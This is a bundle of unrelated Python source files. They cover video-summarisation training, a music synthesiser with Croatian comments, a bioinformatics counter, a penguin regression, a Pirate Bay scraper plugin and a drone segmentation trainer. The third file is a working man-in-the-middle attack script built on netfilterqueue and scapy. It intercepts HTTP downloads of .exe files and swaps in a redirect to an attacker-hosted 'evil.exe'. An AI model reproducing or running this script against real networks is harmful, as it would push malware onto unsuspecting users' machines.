        assert len(key_parts) == 2, "ERROR. Wrong key name: "+key
        dataset, key = key_parts
        return self.datasets[dataset][key]

    def lookup_weights_file(self, data_path):
        dataset_type_str = '' if self.dataset_type == '' else self.dataset_type + '_'
        weights_filename = data_path + '/models/{}_{}splits_{}_*.tar.pth'.format(self.dataset_name, dataset_type_str, self.split_id)
        weights_filename = glob.glob(weights_filename)
        if len(weights_filename) == 0:
            print("Couldn't find model weights: ", weights_filename)
            return ''

        # Get the first weights filename in the dir
        weights_filename = weights_filename[0]
        splits_file = data_path + '/splits/{}_{}splits.json'.format(self.dataset_name, dataset_type_str)

        return weights_filename, splits_file

    def train(self, output_dir='EX-0'):

        print("Initializing VASNet model and optimizer...")
        self.model.train()

        criterion = nn.MSELoss()
        #criterion =nn.CrossEntropyLoss()
        #criterion = nn.L1Loss()

        if self.hps.use_cuda:
            criterion = criterion.cuda()

        parameters = filter(lambda p: p.requires_grad, self.model.parameters())
        self.optimizer = torch.optim.Adam(parameters, lr=self.hps.lr[0], weight_decay=self.hps.l2_req)

        print("Starting training...")

        max_val_fscore = 0
        max_val_fscore_epoch = 0
        train_keys = self.train_keys[:]

        lr = self.hps.lr[0]
        for epoch in range(self.hps.epochs_max):

            print("Epoch: {0:6}".format(str(epoch)+"/"+str(self.hps.epochs_max)), end='')
            self.model.train()
            avg_loss = []

            random.shuffle(train_keys)

            for i, key in enumerate(train_keys):
                dataset = self.get_data(key)
                seq = dataset['features'][...]
                seq = torch.from_numpy(seq).unsqueeze(0)
                target = dataset['gtscore'][...]
                target = torch.from_numpy(target).unsqueeze(0)

                # Normalize frame scores
                target -= target.min()
                target /= target.max()

                if self.hps.use_cuda:
                    seq, target = seq.float().cuda(), target.float().cuda()

                seq_len = seq.shape[1]
                y, _ = self.model(seq,seq_len)
                loss_att = 0

                loss = criterion(y, target)
                #loss2 = y.sum()/seq_len
                loss = loss + loss_att
                self.optimizer.zero_grad()
                loss.backward()
                #torch.nn.utils.clip_grad_norm(self.model.parameters(), 0.1)
                self.optimizer.step()
                #avg_loss.append([float(loss), float(loss_att)])
                avg_loss.append([float(loss)])

            # Evaluate test dataset
            val_fscore, video_scores = self.eval(self.test_keys)
            if max_val_fscore < val_fscore:
                max_val_fscore = val_fscore
                max_val_fscore_epoch = epoch
                print("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
                # Save model weights
                path, filename = os.path.split(self.split_file)
                base_filename, _ = os.path.splitext(filename)
                path = os.path.join(output_dir, 'models_temp')
                os.makedirs("models_new", exist_ok=True)
                filename = str(epoch)+'_'+str(round(val_fscore*100,3))+'.pth.tar'
                torch.save(self.model.state_dict(), os.path.join("models_new", filename))

            avg_loss = np.array(avg_loss)
            print("   Train loss: {0:.05f}".format(np.mean(avg_loss[:, 0])), end='')
            print('   Test F-score avg/max: {0:0.5}/{1:0.5}'.format(val_fscore, max_val_fscore))

            if self.verbose:
                video_scores = [["No", "Video", "F-score"]] + video_scores
                print_table(video_scores, cell_width=[3,40,8])

        return max_val_fscore, max_val_fscore_epoch

    def eval(self, keys, results_filename=None):

        self.model.eval()
        summary = {}
        att_vecs = {}
        with torch.no_grad():
            for i, key in enumerate(keys):
                data = self.get_data(key)
                # seq = self.dataset[key]['features'][...]
                seq = data['features'][...]
                seq = torch.from_numpy(seq).unsqueeze(0)

                if self.hps.use_cuda:
                    seq = seq.float().cuda()

                #predict
                y, att_vec = self.model(seq, seq.shape[1])
                summary[key] = y[0].detach().cpu().numpy()
                att_vecs[key] = att_vec.detach().cpu().numpy()

        f_score, video_scores = self.eval_summary(summary, keys, metric=self.dataset_name,
                    results_filename=results_filename, att_vecs=att_vecs)

        return f_score, video_scores

    def eval_summary(self, machine_summary_activations, test_keys, results_filename=None, metric='tvsum', att_vecs=None):

        eval_metric = 'avg' if metric == 'tvsum' else 'max'

        if results_filename is not None:
            h5_res = h5py.File(results_filename, 'w')

        fms = []
        video_scores = []
        for key_idx, key in enumerate(test_keys):
            d = self.get_data(key)
            probs = machine_summary_activations[key]

            if 'change_points' not in d:
                print("ERROR: No change points in dataset/video ",key)

            cps = d['change_points'][...]
            num_frames = d['n_frames'][()]
            nfps = d['n_frame_per_seg'][...].tolist()
            positions = d['picks'][...]
            user_summary = d['user_summary'][...]

            machine_summary = generate_summary(probs, cps, num_frames, nfps, positions)
            name=key.replace("/", "_")
            with open(name+"_machine_summary.pkl", 'wb') as f:
                pickle.dump(machine_summary, f)
            with open(name+"_user_summary.pkl", 'wb') as f:
                pickle.dump(user_summary, f)

            fm, _, _ = evaluate_summary(machine_summary, user_summary, eval_metric)
            fms.append(fm)

            # Reporting & logging
            video_scores.append([key_idx + 1, key, "{:.1%}".format(fm)])

            if results_filename:
                gt = d['gtscore'][...]
                h5_res.create_dataset(key + '/score', data=probs)
                h5_res.create_dataset(key + '/machine_summary', data=machine_summary)
                h5_res.create_dataset(key + '/gtscore', data=gt)
                h5_res.create_dataset(key + '/fm', data=fm)
                h5_res.create_dataset(key + '/picks', data=positions)

                video_name = key.split('/')[1]
                if 'video_name' in d:
                    video_name = d['video_name'][...]
                h5_res.create_dataset(key + '/video_name', data=video_name)

                if att_vecs is not None:
                    h5_res.create_dataset(key + '/att', data=att_vecs[key])

        mean_fm = np.mean(fms)

        # Reporting & logging
        if results_filename is not None:
            h5_res.close()

        return mean_fm, video_scores


#!/usr/bin/env python3

import numpy as np
import sounddevice as sd
import matplotlib.pyplot as plot
import time
import sys

def noteToFreq(note):
    f = 440
    return (f/32)*(2**((note - 9)/12))

def envelope(a, d, s, r):
    env = [np.linspace(0, 1, a), np.linspace(1, 0.7, d), np.linspace(0.7, 0.7, s), np.linspace(0.7, 0, r)]
    return env

def sinteza(freq_hz, sps, atten, each_sample_number, env, n, odabir, note):

    waveform = np.sin(2 * np.pi * each_sample_number * freq_hz / sps)
    waveform2 = waveform * 0

    if(odabir == 'p'):
        plot.title('Parne sekundarne frekvencije note %d'% note)
        for i in range (2, n+1, 2):
            waveform = np.sin(2 * np.pi * each_sample_number * (freq_hz * i) / sps) * (1/i)
            plot.plot(waveform, '-')
            waveform2 += waveform

    elif(odabir == 'n'):
        plot.title('Neparne sekundarne frekvencije note %d'% note)
        for i in range (1, n+1, 2):
            waveform = np.sin(2 * np.pi * each_sample_number * (freq_hz * i) / sps) * (1/i)
            plot.plot(waveform, '-')
            waveform2 += waveform

    elif(odabir == 's'):
        plot.title('Sve sekundarne frekvencije note %d'% note)
        for i in range (1, n+1):
            waveform = np.sin(2 * np.pi * each_sample_number * (freq_hz * i) / sps) * (1/i)
            plot.plot(waveform, '-')
            waveform2 += waveform

    waveform2 *= atten

    plot.plot(waveform2, '-')

    plot.xlabel('Vrijeme (1s = 44100)')
    plot.ylabel('Vrijednosti amplituda')

    plot.grid(True, which='both')
    plot.axhline(y=0, color='k')

    plot.xlim([-1000, max(duration_s) * sps + 1000])
    plot.ylim([-1.1, 1.1])
    plot.show()

    waveform_final = []

    for i in range (0, len(env[0])):
        waveform_final.append(env[0][i] * waveform2[i])

    for i in range (0, len(env[1])):
        waveform_final.append(env[1][i] * waveform2[i+a])

    for i in range (0, len(env[2])):
        waveform_final.append(env[2][i] * waveform2[i+a+d])

    for i in range (0, len(env[3])):
        waveform_final.append(env[3][i] * waveform2[i+a+d+s])

    return waveform_final

note = []
atten = []
duration_s = []
odabir = []

zelja = 'd'
brojac = 0
#"""
while(zelja == 'd'):
    print('Unos zeljene note:')
    note.append(int(input()))

    print('Unos glasnoce note:')
    atten.append(float(input()))

    print('Unos trajanja note (u sekundama):')
    duration_s.append(int(input()))

    print('Unesite koje sekundarne frekvencije želite (p-parne, n-neparne, s-sve):')
    odabir.append(input())

    if(not (odabir[brojac]=='p' or odabir[brojac]=='n' or odabir[brojac]=='s')):
        print("Krivi odabir frekvencija.")
        sys.exit()

    brojac+=1

    print('Zelite li unijeti jos nota? (d-da, sve ostalo-ne)')
    zelja = input()
#"""
#"""
# Ovo smo dodali kao primjer gotove pjesmice da skratimo vrijeme unošenja kod testiranja. Maknuti ovaj komentar i zakomentirati petlju while(zelja == 'd').
note = [30, 32, 34, 20, 36, 38, 40, 24] # Broj kodirane note.
atten = [0.5, 0.6, 0.7, 1.0, 0.5, 0.6, 0.7, 1.0] # Glasnoca noti raste.
duration_s = [0.5, 0.5, 0.5, 2.0, 0.5, 0.5, 0.5, 2.0] # Trajanje noti.
odabir = ['p', 'p', 'p', 'p', 'n', 'n', 'n', 'n'] # Prve 4 note parne frekvencije, druge 4 neparne.

# Zakomentirati red 'odabir' iznad te odkomentirati zeljeni red ispod za usporedbu zbrajanja samo parnih ili neparnih frekvencija,  ili svih
#odabir = ['p', 'p', 'p', 'p', 'p', 'p', 'p', 'p']
#odabir = ['n', 'n', 'n', 'n', 'n', 'n', 'n', 'n']
#odabir = ['s', 's', 's', 's', 's', 's', 's', 's']
#"""

sps = 44100 #samples per second
n_note = len(note) #broj nota
n = 20 #broj sekundarnih frekvencija

freq_p = []
wave_p = []
env = []
x1 = []
x2 = []
x3 = []

for z in range (0, n_note):

    a = int(sps*duration_s[z]*(1/12))
    d = int(sps*duration_s[z]*(5/12))
    s = int(sps*duration_s[z]*(1/12))
    r = int(sps*duration_s[z]*(5/12))

    each_sample_number = np.arange(duration_s[z] * sps)
    env.append(envelope(a, d, s, r))

    freq_p.append(noteToFreq(note[z] + 20))
    print("Frekvencija %d. note: %.2f" % (z+1, freq_p[z]))

    wave_p.append(sinteza(freq_p[z], sps, atten[z], each_sample_number, env[z], n, odabir[z], note[z]))

    print("A = %.2fs\nD = %.2fs\nS = %.2fs\nR = %.2fs" % (a/sps, d/sps, s/sps, r/sps))
    print("Trajanje note je %.2f sekundi.\n"% duration_s[z])

    x1.append(np.linspace(a, a+d, d))
    x2.append(np.linspace(a+d, a+d+s, s))
    x3.append(np.linspace(a+d+s, a+d+s+r, r))

for z in range (0, n_note):
    plot.plot(wave_p[z], '-')
    plot.plot(env[z][0], '.')
    plot.plot(x1[z], env[z][1], '.')
    plot.plot(x2[z], env[z][2], '.')
    plot.plot(x3[z], env[z][3], '.')

plot.title('Usporedba valova nota')
plot.xlabel('Vrijeme (1s = 44100)')
plot.ylabel('Vrijednosti amplituda')

plot.xlim([-1000, max(duration_s) * sps + 1000])
plot.ylim([-1.1, 1.1])

plot.grid(True, which='both')
plot.axhline(y=0, color='k')

plot.show()

for i in range(0, n_note):
    sd.play(wave_p[i], sps)
    time.sleep(duration_s[i])
sd.stop()


#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

ack_list = []

PORT = 80
ATTACKER_ADDR = "192.168.0.20"
ATTACKER_LOAD = "HTTP/1.1 301 Moved Permanently\nLocation: http://"+ ATTACKER_ADDR +"/evil/evil.exe\n\n"

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    print("waiting..")
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        print(scapy_packet.show())
        if scapy_packet[scapy.TCP].dport == PORT:
            if b".exe" in scapy_packet[scapy.Raw].load and bytes(ATTACKER_ADDR) not in scapy_packet[scapy.Raw].load:
                print("[+] exe Request")
                ack_list.append(scapy_packet[scapy.TCP].ack)

        elif scapy_packet[scapy.TCP].sport == PORT:
            if scapy_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(scapy_packet[scapy.TCP].ack)
                print("[+] Replacing file")
                new_packet = set_load(scapy_packet, ATTACKER_LOAD)
                packet.set_payload(bytes(new_packet))

    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
print("test1")
queue.run()


#!/usr/bin/python
# File created on 3 Mar 2014.

# author__ = "Erick Cardenas Poire"

# Usage python ./score_cogs.py <cogs.txt>

import sys
import re

# Expected input
# JGI12692J13336_10000011	COG0141	40.91	22	69	90	307	328	0.055	29.4

filein = open(sys.argv[1], 'r')
shortname = re.sub('[.](txt)', '', sys.argv[1], re.I)
output_file = shortname + "_summary.txt"
fileout = open(output_file, 'w')

COG_dictionary = {}

for line in filein:
   # Split line from results
   line = line.split('\t')
   COG = line[1]
   # Get current COG count, if not found use zero
   COG_count = COG_dictionary.get(COG, 0)
   new_score = COG_count + 1
   COG_dictionary[COG] = new_score

for key, value in COG_dictionary.iteritems():
   fileout.write("%s\t%s\t%s\n" %(sys.argv[1], key, value))

filein.close()
fileout.close()


import polars as pl
import numpy as np
import math
from sklearn.model_selection import train_test_split
from sklearn.pipeline import Pipeline
from sklearn.preprocessing import StandardScaler, OneHotEncoder
from sklearn.impute import SimpleImputer
from sklearn.linear_model import LinearRegression
from sklearn.compose import ColumnTransformer
from sklearn.metrics import mean_squared_error

penguins = pl.read_csv(
    "https://raw.githubusercontent.com/rfordatascience/tidytuesday/master/data/2020/2020-07-28/penguins.csv",
    null_values="NA",
)

# filtering to only rows with available body mass data
penguins_complete = penguins.filter(pl.col("body_mass_g").is_not_null())

# coercing null to nan
penguins_complete = penguins_complete.with_columns(pl.all().fill_null(np.nan))

# separate into X and y
y = penguins_complete["body_mass_g"]
X = penguins_complete.select(pl.exclude("body_mass_g"))

# coerce X to pandas since polars dfs don't seem to be supported for all of the sklearn steps yet
X = X.to_pandas()

# train test split
X_trn, X_tst, y_trn, y_tst = train_test_split(X, y, random_state=408)

# create pipeline for categorical features
cat_feats = ["species", "island", "sex"]
cat_transform = Pipeline(
    [
        ("cat_imputer", SimpleImputer(strategy="most_frequent")),
        ("oh_encoder", OneHotEncoder(drop="first")),
    ]
)

# create pipeline for numerical features
cont_feats = ["bill_length_mm", "bill_depth_mm", "flipper_length_mm", "year"]
cont_transform = Pipeline(
    [
        ("cont_imputer", SimpleImputer(strategy="mean")),
        ("standardizer", StandardScaler()),
    ]
)

# create a preprocessing pipeline
preprocessor = ColumnTransformer(
    [("cats", cat_transform, cat_feats), ("conts", cont_transform, cont_feats)]
)

# make full pipeline
pipe = Pipeline([("preprocess", preprocessor), ("lin_reg", LinearRegression())])

# fit pipeline
pipe.fit(X_trn, y_trn)

# predict training y's
y_hat = pipe.predict(X_trn)

# evaluate model
y_hat_tst = pipe.predict(X_tst)
math.sqrt(mean_squared_error(y_tst, y_hat_tst))


from arroyo import pluginlib

import re
import time
from datetime import datetime
from urllib import parse

import humanfriendly
from appkit import (
    loggertools,
    utils
)

class _CategoryUnknowError(Exception):
    pass

class ThePirateBay(pluginlib.Provider):
    __extension_name__ = 'thepiratebay'

    # URL structure:
    # https://thepiratebay.cr/search.php?q={q}&page={page}&orderby=99
    # order_by=3 uploaded
    # order_by=5 size
    # order_by=11 uploaded by
    # order_by=7 seeds
    # order_by=9 leechers
    # order_by=11 uploaded by

    PROTO = 'https'
    TLD = 'org'

    DEFAULT_URI = '{proto}://thepiratebay.{tld}/recent/0/'.format(
        proto=PROTO, tld=TLD
    )
    URI_PATTERNS = [
        r'^http(s)?://([^.]+.)?thepiratebay\.[^.]{2,3}/(?!rss/)'
    ]

    SEARCH_URL_PATTERN = (
        "{proto}://thepiratebay.{tld}".format(proto=PROTO, tld=TLD) +
        "/search/{q}/0/99/0"
    )

    _TYPE_TABLE = {
        'applications': {
            'applications': 'other',
            'android': 'other',
            'handheld': 'other',
            'ios (ipad/iphone)': 'other',
            'mac': 'other',
            'other os': 'other',
            'unix': 'other',
            'windows': 'other'
        },
        'audio': {
            'music': 'music',
            'audio books': 'book',
            'sound clips': 'other',
            'flac': 'music',
            'other': 'other'
        },
        'books': {
            'books': 'book'
        },
        'games': {
            'android': 'other',
            'handheld': 'other',
            'ios (ipad/iphone)': 'other',
            'mac': 'other',
            'other': 'other',
            'pc': 'other',
            'psx': 'other',
            'wii': 'other',
            'xbox360': 'other'
        },
        'movies': {
            'movies': 'movie'
        },
        'music': {
            'music': 'music'
        },
        'other': {
            'e-books': 'book',
            'comics': 'other',
            'covers': 'other',
            'other': 'other',
            'physibles(?!)': 'other',
            'pictures': 'other'
        },
        'porn': {
            'movies': 'xxx',
            'games': 'xxx',
            'hd - movies': 'xxx',
            'movie clips': 'xxx',
            'movies dvdr': 'xxx',
            'other': 'xxx',
            'pictures': 'xxx'
        },
        'tv': {
            'tv': 'episode'
        },
        'video': {
            'movies': 'movie',
            'movies dvdr': 'movie',
            'music videos': 'other',
            'Movie clips': 'other',
            'tv shows': 'episode',
            'handheld': 'other',
            'hd - movies': 'movie',
            'hd - tv shows': 'episode',
            '3d': 'other',
            'other': 'other',
        },
        'xxx': {
            'xxx': 'xxx'
        }
    }

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.logger = loggertools.getLogger('thepiratebay')

    def paginate(self, uri):
        # Add leading '/'
        if not uri.endswith('/'):
            uri += '/'

        # Get page
        try:
            page = int(re.findall(r'/(\d+)/', uri)[0])
        except IndexError:
            page = 0
            uri += '0/'

        pre, post = re.split(r'/\d+/', uri, maxsplit=1)

        while True:
            yield pre + '/' + str(page) + '/' + post
            page += 1

    def parse(self, buff):
        def parse_row(row):
            details = row.select('font.detDesc')[0].text

            # Parse category
            try:
                typ = self.parse_category(row.select('td')[0].text)
            except _CategoryUnknowError as e:
                typ = 'other'
                msg = "Unknow category: '{category}'"
                msg = msg.format(category=e.args[0])
                self.logger.warning(msg)

            # Parse size
            size = re.findall(r'([0-9\.]+\s*[GMK]i?B)',
                              details,
                              re.IGNORECASE)[0]
            size = humanfriendly.parse_size(size)

            # Parse created
            try:
                created = self.parse_timestamp(row.select('.detDesc')[0].text)
            except IndexError:
                created = 'other'

            return {
                'name': row.findAll('a')[2].text,
                'uri': row.findAll('a')[3]['href'],
                'type': typ,
                'size': size,
                'created': created,  # utils.now_timestamp(),
                'seeds': int(row.findAll('td')[-2].text),
                'leechers': int(row.findAll('td')[-1].text)
            }

        def filter_row(row):
            return any((link.attrs.get('href', '').startswith('magnet')
                        for link in row.select('a')))

        soup = self.parse_buffer(buff)
        rows = soup.select('tr')
        rows = filter(filter_row, rows)

        return list(map(parse_row, rows))

    @classmethod
    def parse_category(cls, text):
        cat = text.lower()
        cat = cat.replace('(', '').replace(')', '')
        cat = cat.replace('\n', '\0').replace('\t', '\0').split('\0')
        cat = [x.strip() for x in cat if x]

        try:
            typ = cls._TYPE_TABLE[cat[0]][cat[1]]
        except KeyError:
            raise _CategoryUnknowError(cat[0] + '>' + cat[1])

        return typ

    @classmethod
    def parse_timestamp(cls, text):
        def conv(d):
            keys = now_dt.copy()
            keys.update({k: int(v) for (k, v) in d.items()})

            p = '{Y:04d} {m:02d} {d:02d} {H:02d} {M:02d} {S:02d}'
            p = p.format(**keys)
            p = datetime.strptime(p, '%Y %m %d %H %M %S')

            return int(time.mktime(p.timetuple()))

        now = utils.now_timestamp()
        now_dt = datetime.now()
        now_dt = dict(
            Y=now_dt.year,
            m=now_dt.month,
            d=now_dt.day,
            H=now_dt.hour,
            M=now_dt.minute,
            S=now_dt.second
        )

        text = text.lower().replace(' ', ' ')

        # 20 mins ago
        m = re.search(r'(\d+).+?mins', text)
        if m:
            return now - int(m.group(1)) * 60

        # today 13:14
        # yester 15:19
        m = re.search(r'(?P<mod>yester|today).+?(?P<H>\d+):(?P<M>\d+)',
                      text)
        if m:
            d = m.groupdict()
            mod = d.pop('mod')
            x = conv(d)
            return x if mod == 'today' else x - (60*60*24)

        # 07-15 13:34
        m = re.search(r'(?P<m>\d+)-(?P<d>\d+).+?(?P<H>\d+):(?P<M>\d+)',
                      text)
        if m:
            return conv(m.groupdict())

        # 07-15 2004
        m = re.search(r'(?P<m>\d+)-(?P<d>\d+).+?(?P<Y>\d{4})',
                      text)
        if m:
            return conv(m.groupdict())

        return now

    def get_query_uri(self, query):
        q = query.base_string
        if not q:
            return

        q = re.sub(r'[^a-zA-Z0-9]', ' ', q)
        q = parse.quote_plus(q)
        return self.SEARCH_URL_PATTERN.format(q=q)

__arroyo_extensions__ = [
    ThePirateBay
]


from pytorch_lightning import Trainer
from pl_module import SegmentationModule
import argparse
from data import BuildingDataset
from pytorch_lightning.loggers import TensorBoardLogger
from torch.utils.data import DataLoader
from pytorch_lightning.callbacks import ModelCheckpoint
from callbacks import VisualizeCallback
from clearml import Task
import torch

torch.set_float32_matmul_precision("medium")

def make_callbacks(args):
    checkpoint_callback = ModelCheckpoint(
        dirpath=f"train_logs/{args.desc}/checkpoints",
        monitor="val_iou",
        mode="max",
        filename="best",
    )
    visualize_callback = VisualizeCallback(args=args)
    return [checkpoint_callback, visualize_callback]

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--loss_ratio", type=float, default=0.2)
    parser.add_argument("--lr", type=float, default=1e-4)
    parser.add_argument("--weight_decay", type=float, default=1e-4)
    parser.add_argument("--epochs", type=int, default=50)
    parser.add_argument("--root_folder", type=str, default="dataset/chips-1024-full")
    parser.add_argument("--img_size", type=int, default=512)
    parser.add_argument("--batch_size", type=int, default=32)
    parser.add_argument("--desc", type=str)
    parser.add_argument("--accumulate", type=int, default=1)
    parser.add_argument("--visualize_input", default="/mnt/data/RasterMask_v11")
    parser.add_argument("--visualize_output", default="visualize")
    parser.add_argument("--tags", type=lambda s: s.split(","))
    args = parser.parse_args()
    args.img_size = (args.img_size, args.img_size)
    return args

if __name__ == "__main__":
    args = get_args()
    task = Task.init(
        project_name="DroneSegmentation/Building", task_name=args.desc, tags=args.tags
    )
    print(args)
    train_dataset = BuildingDataset(
        root_folder=args.root_folder, img_size=args.img_size, is_training=True
    )
    val_dataset = BuildingDataset(
        root_folder=args.root_folder, img_size=args.img_size, is_training=False
    )

    train_dataloader = DataLoader(
        train_dataset, batch_size=args.batch_size, shuffle=True, num_workers=16
    )
    val_dataloader = DataLoader(val_dataset, batch_size=args.batch_size, num_workers=16)

    from transformers import SegformerForSemanticSegmentation

    model = SegformerForSemanticSegmentation.from_pretrained(
        "nvidia/segformer-b0-finetuned-ade-512-512",
        num_labels=1,
        ignore_mismatched_sizes=True,
    )

    L = SegmentationModule(model=model, args=args)
    logger = TensorBoardLogger("train_logs", name="segformer", version=args.desc)
    callbacks = make_callbacks(args)
    trainer = Trainer(
        accelerator="gpu",
        max_epochs=args.epochs,
        check_val_every_n_epoch=1,
        callbacks=callbacks,
        logger=logger,
        log_every_n_steps=10,
        accumulate_grad_batches=args.accumulate,
    )
    trainer.fit(
        model=L, train_dataloaders=train_dataloader, val_dataloaders=val_dataloader
    )